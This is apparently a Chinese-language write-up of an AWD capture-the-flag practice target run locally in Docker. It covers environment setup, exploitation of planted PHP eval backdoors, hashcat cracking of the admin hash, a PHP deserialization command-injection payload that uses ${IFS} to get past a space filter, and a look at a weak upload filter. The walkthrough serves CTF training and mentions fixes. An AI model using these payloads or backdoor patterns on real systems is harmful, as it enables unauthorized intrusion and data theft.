前言
本地用docker搭了赵总存的一个靶机题目:https://github.com/glzjin/20190511_awd_docker
环境搭建
这里以第四个靶机为例,修改一下docker-compose.yml
version: "3"
services:
# b1:
# build: ./b1
# ports:
# - "18888:8888"
# - "18889:22"
# b2:
# build: ./b2
# ports:
# - "18890:80"
# - "18891:22"
# b3:
# build: ./b3
# ports:
# - "18892:80"
# - "18893:22"
b4:
build: ./b4
ports:
- "18894:80"
- "18895:22"
然后构建
docker-compose up -d --build
我这里用Xshell + vscode + Navicat连接
SSH 默认用户名:glzjin 密码:123456
Vscode:
ssh glzjin@localhost:18895
Xshell:
Navicat 这里SSH和常规都要设置才能连接
疑难杂症
参考:https://zhuanlan.zhihu.com/p/607955374
按方向键出现”^[[A^[[B^[[C^[[D”
由于当前用户使用的shell是 /bin/sh 的原因。在添加用户的时候没有添加用户的指定shell类型,因此默认为/bin/sh
可以用如下命令查看当前用户的shell类型:
echo $SHELL
如果显示是 /bin/sh 则需要修改成 bash
chsh -s /bin/bash glzjin
或者
usermod -s /bin/bash glzjin
然而一般靶机权限不够不让改。。。
退格,删除,删除键出现^H
修改会话属性即可
攻击
扫ip/源码
本地就不扫ip了
直接d盾和seay扫源码
预留后门
include/shell.php存在后门
<?php
@eval($_POST['admin_ccmd']);
?>
payload:
admin_ccmd=system('cat /flag.txt');
org/smarty/Autofoucer.php中的后门
<?php
eval(get_defined_vars()['_GET']['cmd']);
?>
payload:
?cmd=echo+`cat /flag.txt`%3b
然后就是改批量脚本写隐藏shell
登录后台
拿数据库文件里的信息,md5解密得到账密:admin:admin445
离线的话可以考虑用 hashcat 爆破
hashcat --force -a 0 -m 0 1.txt -o result.txt /usr/share/wordlists/metasploit/default_pass_for_services_unhash.txt
成功登上去之后立刻修改密码
反序列化
/var/www/html/common/home.php
<?php
class home{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
$a=@$_POST['a'];
@unserialize(base64_decode($a));
?>
可以看到这里的ping
方法存在命令执行
要调用 ping 的话需要满足__destruct
方法的条件
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
则这里的 method 需要为ping
,args 即传入的参数
底下的waf过滤了空格,绕过方法很多,直接${IFS}
绕过
payload:
<?php
class home{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a=new home("ping",array('127.0.0.1|cat${IFS}/flag.txt'));
echo base64_encode(serialize($a));
修复方法:删除ping方法
文件上传
尝试上传一个文件,发现 /var/www/html 下没有upload目录无法上传
全局搜索,对应的源码在/var/www/html/lib/User.php:
function upload(){
if(isset($_SESSION['id'])){
include_once __DIR__."/File.php";
$up=new File();
$path = $up->save();
if($path){
//这里还有一个坑
$sql="update users set photo='".$path."' where id=".$_SESSION['id'].";";
if(mysql_query($sql,$this->conn)){
$this->tp->assign("photo",$path);
$this->tp->display("success.tpl");
}
else
{
$this->tp->display("error.tpl");
}
}else{
$this->tp->display("error.tpl");
}
}
猜测这里有注入,跟一下 File 类
<?php
class File{
private $typelist;
private $allowexten;
private $path;
function __construct(){
if (!isset($_SESSION['username'])){
exit("not login");
}
$this->typelist==array("image/jpeg","image/jpg","image/png","image/gif");
$this->notallow=array("php", "php5", "php3", "php4", "php7", "pht", "phtml", "htaccess","html", "swf", "htm");
$this->path='./upload';
}
function save(){
$id=$_SESSION['id'];
$upfile=$_FILES['pic'];
$fileinfo=pathinfo($upfile["name"]);
if(in_array($fileinfo["extension"],$this->notallow)){
exit('error');
}
$path='./upload/'.$id."_".$fileinfo["filename"].".".strtolower($fileinfo["extension"]);
if (file_exists($path)){
exit("file already exists");
}
if(move_uploaded_file($upfile['tmp_name'], $path)){
//return True;
return $path;
}else{
return False;
}
}
}
?>